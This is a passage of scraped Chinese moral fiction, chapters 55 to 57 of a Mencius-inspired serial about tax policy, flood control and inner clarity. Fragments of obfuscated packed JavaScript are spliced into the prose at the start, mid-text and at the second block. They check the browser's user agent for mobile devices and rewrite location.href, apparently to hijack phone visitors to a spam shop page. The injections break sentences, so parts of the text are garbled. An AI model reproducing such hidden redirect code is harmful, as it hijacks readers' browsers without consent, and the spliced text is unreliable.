d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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三心皆照， 方是良臣。 一照不具， 便是民贼。” 刻毕，踏月归去。碑前野菊，岁岁金黄。 似在说： 贼啊，良啊。 君心照，臣心照，民心照。 本章诫世 一、 民贼之辨 - 今之所谓良臣（辟土地、充府库、约与国、战必克），古之所谓民贼 - 破解法：事君当问：是引君向道，还是逢君之恶？ - 示例：公孙鞅、苏秦等皆以“富国强兵”自诩良臣，实为助桀之民贼 二、 富桀辅桀 - 君不乡道，不志于仁，而求富之强之，是富桀辅桀 - 惕世：多少“能臣”在助君为虐？多少“功业”是民贼所为？ - 反思：所为所言，是导君向善，还是顺君为恶？ 三、 一朝不居 - 由今之道，无变今之俗，虽与之天下，不能一朝居 - 深层隐喻：不行仁政，纵得天下，顷刻必亡 - 终极指向：为臣者当务引君向仁，非务强兵富国 民贼偈： 战国策士竞豪雄，皆言富国强兵功。 岂知孟子明如镜，指破民贼古今同。 君不乡道但求富，是富桀纣非效忠。 由今之道若不改，虽得天下一朝空。 后世叹： 公孙苏秦张仪俦，自诩良臣实民贼。 富国强兵皆助桀，约与战克尽辅纣。 孟子之言如雷霆，惊醒千古名利客。 但得君臣皆向道，何需府库积金帛。 正是： 今之事君曰富强，古之民贼今良臣。 君不乡道不求仁，富之强之是辅桀。 由今之道俗不改，虽得天下难居晨。 寄语世间事君者，莫将贼名遗后尘。 55. 税道谳 楔子·二十税 赵国边城，巨贾白圭新筑“济民仓”，开廪放粮，观者如堵。白圭登台朗声道：“吾欲行二十税一之法，岁取民产二十分之一，以代今之十一税。民可减半负，岂不善哉？” 百姓欢呼雷动。忽闻人丛中一声冷笑：“子之道，貉道也。” 众人惊顾，见一白衣人倚柱而立，斗笠面纱，木剑负背，正把玩着一束黍穗。 白圭蹙眉：“足下何人？敢讥善政？” “过路客，闻‘貉道’而行。”白衣人扬了扬黍穗，“敢问先生：万室之国，一人为陶，可乎？” 白圭一怔：“不可，器不足用。” “是矣。”白衣人踱至台前，“北地貉国，五谷不生，惟黍生之；无城郭宫室宗庙祭祀之礼，无诸侯币帛饔飧，无百官有司，故二十取一而足。今先生居中原，欲去人伦，无君子，可乎？” 百姓哗然。白圭面红：“吾但减税，何曾去人伦？” 白衣人环视众民：“城郭谁守？宫室谁修？宗庙谁祭？百官谁养？若行二十税一，税薄用匮，则城垣颓，宗庙废，官廪空，礼乐崩。此非去人伦、无君子而何？” 有老者颤声：“然十一税重，民不堪负…” “税有轻重，道有本末。”白衣人正色，“欲轻于尧舜之道者，是大貉小貉；欲重于尧舜之道者，是大桀小桀。尧舜什一税，中正之道。今赵行十一税，本是尧舜法，何言重？” 白圭怒：“十一税积弊百年，胥吏盘剥，实收常逾二三，吾故欲革之！” “弊在胥吏，非法也。”白衣人直视白圭，“先生不行清吏治、去中饱，但欲削正税，是舍本逐末。譬如屋漏，不补瓦而拆梁，屋岂能不塌？” 百姓窃语纷纷。白圭气结，拂袖而去。 一、 陶工谳 是夜，白圭私宅。白衣人叩门而入，见白圭正对账册叹息，揖道：“日间唐突，特来谢罪。” 白圭冷笑：“足下是来讥我，非来谢罪。” “非也，是来论道。”白衣人自取茶饮，“先生欲行二十税一，可是慕上古轻税？” “正是！昔尧舜之时…” “尧舜行什一税。”白衣人截道，“《禹贡》有载，先生岂不知？” 白圭语塞。白衣人续道：“先生但知貉国二十税一，可知貉国无城郭宫室，无百官有司？今赵国邯郸城高池深，百官俸禄，军卒粮饷，皆赖赋税。若行二十税一，军饷何出？官俸何来？城垣何修？此非爱民，是祸国。” 白圭掷册：“然今十一税，层层加码，民苦久矣！” “是故当革弊，非法。”白衣人正色，“譬如陶器，万人之国需百陶工。今陶工怠惰，器皿粗劣，先生不惩怠工，反减陶工至一人，是器将尽毁也。” 忽有家仆急报：城西陶坊工匠闹事，因税吏强征陶器抵税，坊主不支，欲闭坊。 白圭与白衣人赶至，见陶坊前，税吏正驱车强拉陶器，工匠阻道，哭声震天。坊主跪地哀告：“老爷，今年已征三次，再征，坊将垮矣！” 税吏挥鞭：“十一税乃国法，敢抗者拘！” 白衣人上前，问税吏：“十一税，是征十一。今岁已征三次，是征三十三，此何法？” 税吏横目：“汝何人？敢管官事！” “过路客，知法之人。”白衣人取账簿，“赵国律：岁征十一，分夏秋两季。今春征一次，夏征二次，是何道理？” 税吏语塞。白衣人转向众工匠：“尔等可知，十一税本尧舜中正之法？今弊在胥吏横征，非法之过。若行二十税一，税更薄，胥吏为补亏空，必加倍盘剥。届时尔等将纳三十税一乎？四十税一乎？” 工匠皆愣。白衣人朗声道：“税如陶器，法如陶工。工良则器美，工劣则器毁。今不惩劣工，但毁良法，是自绝生路！” 白圭恍然，上前斥税吏：“本商已查明，尔等私加赋税，中饱私囊。今当报官严惩！” 税吏惶退。白衣人谓众工匠：“法本良法，弊在歪嘴和尚念歪经。汝等当求清吏治、惩贪墨，莫求削正法、毁根基。” 众工匠拜服。白圭长揖：“圭受教矣！险些行貉道，罪甚。” 二、 貉国喻 三日后，白圭邀白衣人赴宴，席间请教：“先生日间言‘大貉小貉’，愿闻其详。” 白衣人问：“先生可曾去北地貉国？” “曾行商至貉，其地苦寒，五谷惟黍，无城无庙，毡帐为居。” “是矣。”白衣人斟酒，“貉国无百官，无军旅，无祭祀，二十税一足矣。然中原有百官需养，有军旅需饷，有城郭需修，有宗庙需祭。若行二十税一，如陶工只一人，器用必匮。器匮，则国危。” 座中有年轻商人起问：“然税重民疲，奈何？” “当问：是税重，还是弊重？”白衣人正色，“譬如十一税，本当十取一。今胥吏贪墨，十取二三，是弊非税。若不清弊，但削税至二十取一，胥吏必十取四五。民负反重！” 白圭击案：“是了！吾昔在貉国，税虽轻，然无官吏盘剥，实得轻负。今赵国之弊，在胥吏，非法也。” “然也。”白衣人颔首，“今之议税者，多如先生，见弊不思革弊，但欲变法。殊不知法愈改，弊愈深。尧舜什一税，行数百年而民不怨，因其时吏治清明。今不效尧舜之吏治，但改尧舜之税法，是缘木求鱼。” 忽有门客报：有儒生聚于市，倡言“行貉道，二十税一，天下可治”。 白衣人与白圭赶至，见一书生高论：“尧舜之道，贵在轻徭薄赋！今当行二十税一，与民休息！” 白衣人上前问：“敢问足下，尧舜行何税？” 书生傲然：“尧舜仁政，当是三十税一！” “《禹贡》载：‘咸则三壤，成赋中邦。’夏后氏五十而贡，殷人七十而助，周人百亩而彻，其实皆什一。足下读何经典，言尧舜三十税一？” 书生语塞。白衣人扬声道：“欲轻于尧舜之道者，是大貉小貉；欲重于尧舜之道者，是大桀小桀。今十一税本是尧舜中道，尔等不知尧舜，但慕貉国，是欲使中国化为貉邦，可乎？” 众儒生哗然。白衣人续道：“无城郭，尔等露宿否？无宫室，君王野处否？无宗庙，先祖不祭否？无百官，谁治郡县？无军旅，谁御外侮？二十税一，是自毁长城！” 百姓中有老兵泣：“是了！若无军饷，谁守边关？” 有士人叹：“若无官俸，谁治讼狱？” 白衣人指书生：“尔等但知税轻，不知国用。是坐而论道，不知柴米。尧舜之道，在什一税，更在吏治清明。今不学尧舜之吏治，但倡貉国之税制，是欺世盗名！” 书生掩面而走。白圭叹：“非先生明辨，圭几为书生所误。” 三、 桀税谳 越一月，邯郸有酷吏新上任，欲行“量亩加税”，将十一税增至十税二。民情汹汹，聚于衙前。 白衣人闻讯，谓白圭：“前有倡轻税者，欲为大貉小貉；今有行重税者，是为大桀小桀。先生巨贾，当为民言。” 白圭蹙眉：“圭商贾，岂敢干政？” “商贾亦民。”白衣人正色，“桀纣重税，鹿台钜桥，终至国亡。今吏欲效桀，民将涂炭。先生忍见乎？” 白圭奋然：“愿从先生往。” 至衙前，见酷吏高坐，正命胥吏鞭笞抗税老农。白衣人排众而出：“且住！” 酷吏斜睨：“汝又敢扰公事？” “非扰，是论法。”白衣人昂首，“赵国律，田赋什一。今大人欲征十二，是何律法？” 酷吏拍案：“边关紧急，加税助饷，国事所需！” “国事所需，当明法度，咨百姓。”白衣人环视民众，“桀纣之时，亦言‘国事所需’。然重税虐民，终至国亡。今大人欲为大桀小桀乎？” 众民鼓噪。酷吏怒：“狂徒谤政，拿下！” 衙役欲上，白衣人木剑一横：“且慢！大人可知，什一税乃尧舜中道？轻于此为大貉，重于此为大桀。今大人加税，是自比桀纣。他日民变，大人可担得起？” 酷吏汗出，强道：“本官为国理财…” “理财非榨民。”白衣人厉声道，“《禹贡》定赋，分上中下三等，因地制赋。今大人不察地力，一概加征，是坏古制，虐生民。尧舜有知，当泣于九泉！” 白圭率众商贾拜：“请大人守什一税，莫为桀纣之行！” 百姓齐跪：“请大人守法！” 酷吏色变，知众怒难犯，只得暂罢加税。 是夜，白衣人谓白圭：“今日阻加税，只解一时。若欲长治，当清吏治，明法度，使什一税实收，不横征，不滥加。” 白圭叹：“谈何容易！” “是不易，然不可不为。”白衣人望向窗外，“昔大禹治水，疏而不堵。今赋税如川，当疏其淤塞，通其壅滞。若但求轻税如貉，或苛税如桀，皆自取灭亡。” 遂与白圭定“税政三议”：一议胥吏考成，禁横征；二议量地定赋，禁滥加；三议民赋公示，禁暗箱。白圭联名百商上呈，赵王纳之，邯郸税政稍清。 四、 中道碑 三年后，白圭行商过邯郸，见市井新立一碑，题“中道碑”，刻孟子与白圭问对全文。碑阴附记： “白圭问二十税一，孟子曰貉道也。 今邯郸税吏，有欲行二十税一者，是为大貉； 有欲行十税二者，是为大桀。 尧舜什一，中正之道。 吾等商民，当守中道， 革弊政，惩贪墨， 使什一税实至实归， 既不效貉，亦不效桀。 立碑为记， 以警后人。” 白圭抚碑泪下：“此先生之功也。” 忽有童子问：“老丈，何为中道？” 白圭指碑：“税如饮食，太少则饥，太多则胀。什一税，不饥不胀，是中道。” “然有吏多征，奈何？” “故需清吏治，如饮食需净器皿。器不净，珍馐亦毒。” 童子恍然。时有儒生过，见碑哂：“什一税岂是尧舜道？当行三十税一！” 白衣人忽现碑侧，笑问：“足下欲行三十税一，是效何国？” 儒生傲然：“效尧舜！” “《禹贡》《周礼》皆载什一，足下读何经？” “这…孟子曰，民为重…” “孟子亦曰，欲轻于尧舜之道者，大貉小貉也。”白衣人截道，“足下欲为貉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088207|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，自去北地。中原有城郭宫室宗庙百官，需税以养。三十税一，是毁城郭，废百官，去人伦。足下可愿？” 儒生语塞。白衣人对众民道：“什一税，中道也。今之弊，不在法，在行法之人。我等当求清吏治，非毁良法。若良法被毁，恶吏更狂，届时三十税一，实收或十税五，民更苦！” 百姓称善。儒生惭退。 白圭揖白衣人：“先生三年未现，今得再见。” “偶过。”白衣人望碑，“此碑可警世人：税之道，中为正。过轻则国危，过重则民反。今邯郸吏治稍清，什一税实归，民不怨，国用足，是行中道之效。” 白圭叹：“然他郡仍有弊政。” “是矣。”白衣人正色，“故需人人知中道，守中道，护中道。不慕貉国之轻，不效桀纣之重，但行尧舜之中。如此，国可久，民可安。” 语罢，袖出一卷予白圭：“此《税政清议》，述吏治革新之法，可传诸郡。” 白圭展卷，见首页题： “什一税，尧舜道。 大貉轻，大桀重。 今之弊，在胥吏， 不在法。 革弊政，清中饱， 使税归实， 民自安，国自足。 慎勿慕貉， 慎勿效桀， 但守中道， 万世可则。” 白圭再拜，抬头时，白衣人已杳。唯闻风中歌： “白圭欲行二十税， 孟子譬喻貉国道。 万室一国一陶工， 器用不足国将倒。 欲轻尧舜是大貉， 欲重尧舜是大桀。 什一税乃中正法， 但清吏治民安乐。” 歌声渐远，碑前柳絮，纷纷如雪。 尾声陶坊语 十年后，白圭老，将《税政清议》传子，嘱：“守中道，勿轻勿重。” 其子行商天下，每见税政，必问：“此中道否？有弊否？” 过一郡，闻郡守欲行“三十税一”，百姓欢呼。其子谒郡守，问：“大人欲效尧舜乎？” 郡守欣然：“正是！” “然尧舜行什一税。”其子呈《税政清议》，“三十税一，是貉道。貉国无城郭百官，故可轻税。今郡有城郭，有百官，有军伍，三十税一，何足用？必加征于他项，民反重负。” 郡守悟，止轻税议，行吏治革新，使什一税实归，民果安。 又过一郡，闻税吏横征，十税二三。其子聚民，指“中道碑”拓本：“什一税是中道，过此为大桀。我等当求清吏治，非毁法度。” 民从之，联名上告，惩贪吏，税归什一。 白圭子晚年，于邯郸陶坊见童子习陶，问：“陶器何用？” 童答：“盛物。” “一陶工可供万人否？” “不可，需百工。” “是矣。”白圭子指陶坊，“税如陶器，吏如陶工。工良则器美，工劣则器毁。什一税是好器，需良工守之。今人不责工劣，但欲毁器，岂不谬哉？” 童恍然。坊外忽闻歌： “不责陶工责陶器， 世人愚昧竟如此。 什一税是中正法， 但得良工自完美。 莫慕貉国轻税利， 莫效桀纣重税弊。 尧舜之道在中道， 千古相传永不替。” 歌声杳杳，陶轮转转，泥坯在匠人手中，渐成美器。 似在说： 税啊，法啊。 中道是尧舜。 本章诫世 一、 中道为要 - 什一税是尧舜中道，轻则为大貉小貉，重则为大桀小桀 - 破解法：不慕虚轻，不纵苛重，但守中正 - 示例：白圭欲行二十税一，是慕貉国；酷吏欲行十税二，是效桀纣 二、 税弊在吏 - 今之弊，在胥吏贪墨横征，不在什一税法本身 - 惕世：见税重则欲轻税，见法弊则欲变法，是舍本逐末 - 反思：当革吏治，非毁良法 三、 陶工之喻 - 万室之国一人陶，器不足用；一国无君子（百官），国不可治 - 深层隐喻：治国需百官如陶工，税赋如陶器，需足用，需良工 - 终极指向：守中道，清吏治，使税归实 税道偈： 白圭欲行二十税，孟子譬喻貉国道。 万室之国一陶工，器用不足国将倒。 欲轻尧舜是大貉，欲重尧舜是大桀。 什一税乃中正法，但清吏治民安乐。 后世叹： 什一税法本尧舜，不轻不重是中道。 白圭慕貉欲轻税，岂知无吏国难保。 桀纣重敛民皆怨，貉国无制岂可效？ 寄语理财经国者，莫将中道轻易抛。 正是： 白圭问税欲从轻，孟子喻以貉国情。 万室一国一陶工，器用不足事难行。 欲轻尧舜是大貉，欲重尧舜是大桀。 什一税乃中正法，但得吏清国自宁。 56. 邻壑谳 楔子·治水功 时值七国相攻，漳水泛滥。魏国邺城有大夫名白珪（字丹），筑堤百里，导水入赵。是年魏境无水患，赵境成泽国。 魏王嘉其功，赐金封地，号“安波君”。庆功宴上，白珪傲然道：“丹之治水，愈于禹也。” 座中有客窃语：“禹导水入海，白子导水入赵，岂可同论？” 忽闻庭外有人长笑：“以邻为壑，犹自比大禹，岂不谬哉？” 众惊视，见一白衣人倚门而立，斗笠面纱，木剑负背，襟袂飘飘，不沾雨渍。 白珪怒：“足下何人，敢谤吾功？” “过路客，观水而来。”白衣人步入庭中，指天外阴云，“水之道，就下而行。禹之治水，顺其道，以四海为壑。今子筑堤束水，逼水逆流，以邻国为壑，此非治水，是嫁祸也。” 白珪拍案：“水患不治，魏民何辜？” “赵民又何辜？”白衣人直视白珪，“水逆流谓之洚水，洚水者，洪水也，仁人之所恶也。子嫁祸邻国，自诩功高，仁者岂为之？” 满堂寂然。魏王蹙眉：“然则当如何？” “当效禹道，分疏浚导，使水归海。”白衣人朗声，“今子塞此通彼，是移祸耳。他日赵亦筑堤，水回灌魏，两国皆成泽国，岂有宁日？” 白珪面红耳赤，强辩：“水势凶猛，不得不为！” “禹时水不猛乎？”白衣人冷笑，“然禹八年于外，三过家门不入，疏九河，注四海，未尝以邻为壑。子之过矣。” 语罢，飘然而出。庭外暴雨忽至，雷电交加。 一、 洚水谳 三日后，白衣人现于赵境洪区。但见房舍尽没，灾民栖于高岗，哭声震野。有老妪抱树哀泣：“魏人筑堤，逼水淹我，天乎！” 白衣人驾小舟救民，舟中一少年泣问：“先生，魏人何故害我？” “非魏人害汝，是魏国大夫白珪，以邻为壑。”白衣人叹，“禹导水入海，以四海为壑；今白珪导水入赵，以赵国为壑。壑在邻国，灾在汝等。” 少年恨道：“他日我必报仇！” “报仇非仁者所为。”白衣人正色，“当以仁心化仇怨。若赵国亦筑堤回灌，是移祸相报，永无了期。” 忽有数舟至，乃白珪率魏国工匠，携粮米来赈。白珪见白衣人，赧然揖道：“先生在此…丹见赵民惨状，心实不忍。” 白衣人问：“君是来赈灾，还是来赎罪？” “皆…皆有。” “然水患未解，赈济何益？”白衣人指汪洋，“水不退，民无家。君可愿与赵共治水？” 白珪沉吟：“然若分疏入海，工程浩大，且魏境亦恐受淹…” “是恐己国受淹，故淹他国？”白衣人厉声，“此正是仁者所恶！禹治水，已国不受淹乎？然宁疏勿堵，宁劳己不祸人。今君位同大夫，心不及禹，可愧否？” 魏国工匠中有老者泣拜：“先生明鉴！我等筑堤时，已知必淹赵民，然上命难违…” 白珪汗下如雨，忽跪水中：“丹…丹知罪矣！愿毁堤分水，与赵共患。” 白衣人扶起：“知罪能改，善莫大焉。然毁堤需赵魏合力，君可敢往说赵王？” “敢！” 二、 禹壑谳 时赵王正怒，欲发兵伐魏。闻白珪来，命绑入帐。白衣人随入，长揖道：“大王，白珪非来请罪，是来献策解水患。” 赵王冷笑：“献策？寡人当斩其首祭河！” “斩一人易，解水患难。”白衣人正色，“昔禹父鲧筑堤堵水，九年无功。禹改堵为疏，八年成功。今白珪效鲧，以邻为壑；大王若斩之泄愤，是效白珪，非效禹也。” 赵王一怔。白衣人续道：“水患当前，当思禹道。赵魏合力，分疏漳水，导之入海，方是长治久安。若相攻伐，水患更甚，两国皆亡。” 白珪伏地：“臣愿毁堤分水，并献家财，助赵治水。” 赵王沉吟。白衣人指帐外灾民：“大王看，此皆赵民，亦是人子。今水患不解，纵得魏地，民无生路，地有何用？禹以四海为壑，故得天下；今大王若以仁心为壑，当得赵民死力。” 赵王动容，亲释白珪：“寡人闻先生言，如闻禹训。愿与魏共治水。” 遂订“漳水盟”：赵魏各出民夫三万，同疏河道。白珪为督工，白衣人为监理。 开工日，两岸灾民初时怒目，及见河道渐通，水势稍退，方有悦色。白衣人命于工地理“分水石”，刻“禹迹”二字，告众：“禹治水，以四海为壑。今我等治水，当以仁心为壑。仁心所至，水患自平。” 有赵民问：“先生，魏人淹我田宅，岂可轻恕？” 白衣人指分水石：“水无国界，但循道行。今魏人助我疏水，是悔过向道。若记仇不释，是自筑心堤，终成洚水。” 又有魏民问：“分水入魏，岂不淹我？” “疏水非淹水。”白衣人示以河图，“水道通，则水分流，不壅不塞。今所疏之道，赵魏各半，共担其劳，共享其利。此方是禹道。” 三月，水道初通，水患大减。赵魏之民，始有笑语。 三、 四海壑 然漳水下游为齐境，齐王闻赵魏疏水，恐水入齐，命筑堤拦阻。白衣人闻讯，叹：“今又有以邻为壑者。” 遂与白珪赴齐。齐王拒见，命射箭驱之。白衣人立箭雨中，朗声道：“昔禹导水入海，经九州而不阻。今齐阻水道，是欲为九州之壑乎？” 齐将喝：“水入齐境，必成灾患！” “水患在壅，不在流。”白衣人展河图，“今赵魏已疏上游，若齐疏下游，水可直入东海。若齐筑堤，水壅回灌，赵魏齐三国皆成泽国。大王欲效白珪之过乎？” 齐王隔帘问：“然疏水劳民伤财，寡人何利？” “利在万民，利在千秋。”白衣人正色，“禹治水，非为利，为仁。今大王若行仁政，导水入海，则齐国免患，万民感恩，此非大利乎？若但顾眼前，以邻为壑，他日水回灌，悔之晚矣。” 白珪跪禀：“臣昔以邻为壑，几酿大祸。今愿助齐疏水，赎前愆。” 齐王沉吟良久，叹：“寡人不如大夫能改过。”遂允疏水。 于是赵、魏、齐三国共治漳水，役夫十万，绵延百里。白衣人日夜巡工，见有争执，必以“禹道”劝和。工地上渐有歌谣： “昔禹治水四海壑， 今人治水邻为壑。 幸有白衣明大道， 三国同心疏漳河。 水道通，民心通， 洚水化作恩波多。” 半年，漳水全线疏通，入海无阻。是岁虽大雨，三国无患。 庆功日，赵、魏、齐三王会于分水台。白衣人请立“禹壑碑”，刻文： “白珪曰：‘丹之治水愈于禹。’ 孟子曰：‘子过矣。禹以四海为壑，今子以邻国为壑。’ 今漳水既治，三国共鉴： 水之道，就下而行； 人之道，向仁而为。 以邻为壑者，灾祸相寻； 以四海为壑者，天下归仁。 立碑为誓，永志不忘。” 三王盟誓，永不筑堤壅水，嫁祸邻国。白珪自请削爵，专司水利，后人称“漳水君”。 四、 仁心壑 白衣人将行，白珪率众送别，泣问：“先生去后，若他国再有以邻为壑者，奈何？” “但传禹道，莫行鲧术。”白衣人解木剑，劈河边巨石为二，立于禹壑碑两侧，刻联： “左：水就下，岂有国界？ 右：仁向心，何分你我？” 又嘱：“治水如治世，当顺道而行。道者，仁也。以仁心为壑，则万流归海；以私心为壑，则灾祸连绵。尔等但记：四海可壑，仁心不可失；邻国可助，私欲不可纵。” 白珪拜受。忽有快马来报：楚、韩相攻，楚壅汉水灌韩，韩民死伤无数。 白衣人叹：“又有以邻为壑者。”遂与白珪南下。 至汉水，见楚军筑坝如山，韩境尽成汪洋。楚将骄横：“水攻之法，自古有之！” 白衣人登坝，问楚将：“将军可知，水逆流谓之洚水？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088208|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “自然！” “洚水者，洪水也，仁人之所恶也。”白衣人厉声道，“将军以邻为壑，自谓得计。然水可壅一时，不可壅一世。他日坝溃，楚先受殃。且天下闻楚不仁，谁肯亲附？” 楚将嗤：“成王败寇，何需仁名？” “然则禹以仁王，桀纣以暴亡。”白衣人指韩民浮尸，“此皆人命，非草木。将军忍乎？” 楚将语塞。白衣人又赴韩，见韩王欲效楚，壅水回灌。谏曰：“大王欲效楚之不仁乎？楚壅水，已失道；大王若效之，是失道又失义。当效禹道，疏水导流，并说楚共治。” 韩王泣：“然寡人恨楚…” “恨在壅水，不在水。”白衣人道，“水无罪，罪在壅者。今当解壅，非移祸。” 遂为韩楚调解，毁坝疏水。楚王初不许，白衣人示以“禹壑碑”拓本，并言：“三国共治漳水，今无水患，反成友邦。楚韩若共治汉水，岂不胜于相攻？” 楚王感其诚，允之。汉水既治，楚韩盟好。 自此，“禹道”传于列国。有壅水者，民辄斥：“欲效白珪之过乎？” 尾声壑碑歌 十年后，白珪老病，嘱子孙：“吾墓傍漳水，碑刻‘昔以邻为壑，今以仁为壑’。” 葬日，赵、魏、齐、楚、韩皆遣使祭。忽有白衣人影现于墓前，抚碑歌曰： “白珪昔年比禹功， 孟子直言邻壑同。 洚水本是仁者恶， 岂可嫁祸自逞雄？ 禹导四海为壑广， 人怀仁心可壑宏。 寄语后世治水者， 莫将私欲塞胸中。” 歌罢，掷剑刻于碑阴： “水无国界，仁无边际。 以邻为壑，灾祸相继； 以四海为壑，天下受益； 以仁心为壑，万世可济。 白珪能改，是为真勇； 后世效之，是为大智。” 刻毕，剑化白虹，贯入漳水。自此每至汛期，漳水清波，不溢不涸。乡老言：白衣人化龙镇水矣。 后有书生过禹壑碑，问牧童：“此碑何用？” 童答：“爷爷说，见碑如见白衣先生，不敢以邻为壑。” 书生叹：“一碑之力，胜于十万兵。” 是夜，月明如水，漳河涛声，如吟如诉： “壑啊，壑啊。 四海是壑，仁心是壑。 邻国…不是壑。” 本章诫世 一、 壑道之辨 - 禹以四海为壑，白珪以邻国为壑。仁者所恶，在以邻为壑 - 破解法：遇灾祸，当思共解，莫思转嫁 - 示例：白珪导水淹赵，是以邻为壑；后改过疏水，是以仁为壑 二、 洚水之恶 - 水逆流谓之洚水，洚水者洪水也，仁人之所恶 - 惕世：多少“妙计”是祸水他引？多少“功业”是嫁祸于人？ - 反思：可曾“以邻为壑”而不自知？ 三、 仁心为壑 - 以四海为壑可得天下，以仁心为壑可安万民 - 深层隐喻：一切灾害，皆可转为立德之机 - 终极指向：勿嫁祸，须共担；勿筑堤，须疏浚 邻壑偈： 白珪治水自称雄，孟子指其邻壑同。 禹导四海为壑广，丹逼漳水灌赵中。 洚水本是仁者恶，岂可嫁祸邀功隆？ 幸得白衣明大道，三国疏河天下公。 后世叹： 魏国大夫白珪公，筑堤导水淹赵封。 自诩治水胜大禹，岂知嫁祸心不仁。 白衣指陈邻壑谬，三王共疏漳河通。 寄语后世理水者，莫将私欲塞胸中。 正是： 白珪治水欲比禹，孟子直言邻壑非。 禹导四海为壑广，丹逼漳水灌赵畿。 洚水本是仁者恶，岂可嫁祸邀功徽？ 但得心怀仁心壑，何需筑堤生祸机。 57. 不亮谳 楔子·执烛夜 秦赵长平战后，邯郸城宵禁。戌时三刻，城门司马高执正欲下钥，忽有黑衣客叩关：“军情急，需出城。” 高执秉烛观其符节，果是军使印信，然烛火摇曳，照见来客面有慌色。副将低语：“司马，此人眼生，且已宵禁…” 黑衣客急道：“延误军情，尔等担待？” 高执默然片刻，忽吹熄烛火，城门顿暗。副将惊：“司马何故熄烛？” 黑暗中，高执声稳如钟：“君子不亮，恶乎执？今烛不明，吾心自明。汝非军使——军使虎口有茧，汝手白如纸；军使行囊必有尘土，汝囊崭新。说！何人假冒？” 黑衣客暴起抽刀，高执于黑暗中听风辨位，闪身擒拿。燃烛再视，果是敌国细作。 副将拜服：“司马真神人也！” 高执叹：“非神，是守心。心不明，纵千烛何用？” 忽闻城楼有人拊掌：“善哉！君子不亮，恶乎执？” 众人惊顾，见一白衣人坐于垛口，斗笠面纱，木剑横膝，不知何时而至。 一、 烛下影 白衣人飘然下垛，问高执：“足下方才言‘心不明，纵千烛何用’，然若无烛，何以辨细作？” 高执揖道：“初秉烛，已观其疑；熄烛，是试其诈。烛在时，彼可伪装；烛灭时，彼必露慌。此谓‘不亮而执’。” “妙！”白衣人拊掌，“孟子曰：‘君子不亮，恶乎执？’今足下行事，正合此理——亮者，明也，信也。君子内心不明，何能执守正道？然此‘明’非借外光，是心中自有明烛。” 副将惑：“然则烛火无用乎？” “烛火照形，心火照神。”白衣人指烛，“形可伪，神不可伪。适才司马熄烛，是弃形求神。此方是真明。” 忽有驿卒奔至：“报！东门有车队求入，言是赵国流亡公子，携重宝投邯郸。” 高执蹙眉：“公子？何公子？” “自称公子成，昔质于秦，今逃归。” 白衣人问：“足下欲如何？” “往观之。”高执提烛欲行。 白衣人忽道：“且带此烛。”自袖中取一白烛，其光皎洁，异于常烛。 至东门，果见华车十乘，仆从百余。为首者锦衣玉带，确似公子。高执秉常烛近观，见其佩玉、衣纹、车制皆合礼，然面色僵白。 白衣人递上白烛：“请用此烛。” 烛光及处，那“公子”忽露慌色，袖中微颤。高执厉喝：“公子成左颊有痣，汝无！公子成畏漆，汝袖有漆渍！何方宵小？” “公子”暴起，竟是秦国死士假扮。随从皆抽刃，高执率军围捕。混战中，白衣人白烛不摇，光照如昼，贼人无所遁形，尽数就擒。 事毕，高执拜问：“先生白烛，似有神通？” 白衣人笑：“非烛神，是心明。此烛名‘本心烛’，但得心明，照物自真。适才足下已疑其伪，然常烛昏黄，照形不照心；此烛皎洁，能映心虚。可知孟子‘不亮’之要？” 高执恍然：“君子内心若不光明磊落，何能执守是非？然此‘光明’非外求，是本心自明。方才下官若无本心之明，纵持先生宝烛，亦难辨奸邪。” “然也。”白衣人颔首，“今有一案，可验此理。” 二、 暗室谳 邯郸狱中，有悬案：富商李裕暴毙，密室无痕，唯枕下遗一玉佩，乃其婿王珂之物。王珂喊冤，然人证物证皆指向他，已定死罪，秋后问斩。 高执请白衣人同审。至狱中，王珂蓬头垢面，泣血呼冤。白衣人问：“汝玉佩何以在岳丈枕下？” “小婿不知！那玉佩三月前已失窃…” “何人可证？” “吾妻可证！然…然岳丈死后，吾妻悲恸成疾，言语混乱…” 高执叹：“其妻证言反复，不足为凭。” 白衣人取“本心烛”置案，命提王妻李氏。烛光下，李氏面色惨白，目不敢视烛。 白衣人温言：“夫人，此烛能照人心。若尔夫冤，烛焰直；若尔夫罪，烛焰摇。请观之。” 众人视烛，焰果微摇。李氏色变。白衣人忽道：“烛焰摇，非因王珂罪，是因夫人心虚。” 李氏瘫倒，泣道：“妾…妾有罪！玉佩是妾盗放，欲害夫…” 满堂皆惊。李氏供：父李裕欲夺婿家产，与女合谋毒杀己身，嫁祸于婿。然李裕假死药过烈，竟真亡。女惧事泄，不敢言。 高执怒：“虎毒不食子，尔等竟如此歹毒！” 白衣人叹：“此正是‘君子不亮’——李裕父女内心晦暗，纵谋得家产，何能安然？今事败，是心暗必露也。” 遂释王珂。珂拜泣：“谢青天！然小人愚钝，何以自明心灯，免再遭诬？” 白衣人道：“心灯在己，不假外求。日常行事，但问是否光明磊落。若有一事不可告人，便是心灯蒙尘。积尘成暗，终将招祸。” 又谓高执：“司马守城，亦当守心。城门之钥易掌，心门之钥难持。但得本心常明，奸邪自不能入。” 高执拜受。白衣人赠《心灯诀》一卷，曰：“此非神通，是修心法。勤拂拭，莫使染尘。” 